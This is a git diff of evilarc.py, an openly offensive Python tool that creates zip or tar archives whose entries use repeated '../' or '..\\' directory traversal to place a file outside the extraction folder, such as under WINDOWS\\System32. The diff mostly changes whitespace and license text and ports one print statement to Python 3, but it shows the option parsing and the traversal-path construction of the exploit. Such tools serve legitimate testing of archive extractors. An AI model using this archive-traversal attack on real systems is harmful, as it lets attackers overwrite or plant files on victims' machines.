diff --git a/evilarc.py b/evilarc.py index 366e6b3..8e9c93e 100644 --- a/evilarc.py +++ b/evilarc.py @@ -5,33 +5,33 @@ # # Implementation by Greg Ose and Patrick Toomey # -# Redistribution and use in source and binary forms, with or without modification, -# are permitted provided that the following conditions are met: +# Redistribution and use in source and binary forms, with or without modification, +# are permitted provided that the following conditions are met: # -# - Redistributions of source code must retain the above copyright notice, this list -# of conditions and the following disclaimer. -# - Redistributions in binary form must reproduce the above copyright notice, this -# list of conditions and the following disclaimer in the documentation and/or -# other materials provided with the distribution. -# - Neither the name of Neohapsis nor the names of its contributors may be used to -# endorse or promote products derived from this software without specific prior -# written permission. +# - Redistributions of source code must retain the above copyright notice, this list +# of conditions and the following disclaimer. +# - Redistributions in binary form must reproduce the above copyright notice, this +# list of conditions and the following disclaimer in the documentation and/or +# other materials provided with the distribution. +# - Neither the name of Neohapsis nor the names of its contributors may be used to +# endorse or promote products derived from this software without specific prior +# written permission. # -# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND -# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED -# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE -# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR -# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES -# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; -# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON -# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT -# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS -# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. +# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND +# ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED +# WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE +# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR +# ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES +# (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; +# LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON +# ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT +# (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS +# SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. import sys, zipfile, tarfile, os, optparse def main(argv=sys.argv): - p = optparse.OptionParser(description = 'Create archive containing a file with directory traversal', + p = optparse.OptionParser(description = 'Create archive containing a file with directory traversal', prog = 'evilarc', version = '0.1', usage = '%prog ') @@ -41,17 +41,17 @@ def main(argv=sys.argv): p.set_default("depth", 8) p.add_option('--os', '-o', dest="platform", help="OS platform for archive (win|unix). Defaults to win.") p.set_default("platform", "win") - p.add_option('--path', '-p', dest="path", help="Path to include in filename after traversal. Ex: WINDOWS\\System32\\") + p.add_option('--path', '-p', dest="path", help="Path to include in filename after traversal. Ex: WINDOWS\\System32\\") p.set_default("path", "") options, arguments = p.parse_args() - + if len(arguments) != 1: p.error("Incorrect arguments") - + fname = arguments[0] if not os.path.exists(fname): sys.exit("Invalid input file") - + if options.platform == "win": dir = "..\\" if options.path and options.path[-1] != '\\': @@ -62,7 +62,7 @@ def main(argv=sys.argv): options.path += '/' zpath = dir*options.depth+options.path+os.path.basename(fname) - print "Creating " + options.out + " containing " + zpath; + print("Creating " + options.out + " containing " + zpath); ext = os.path.splitext(options.out)[1] if os.path.exists(options.out): wmode = 'a'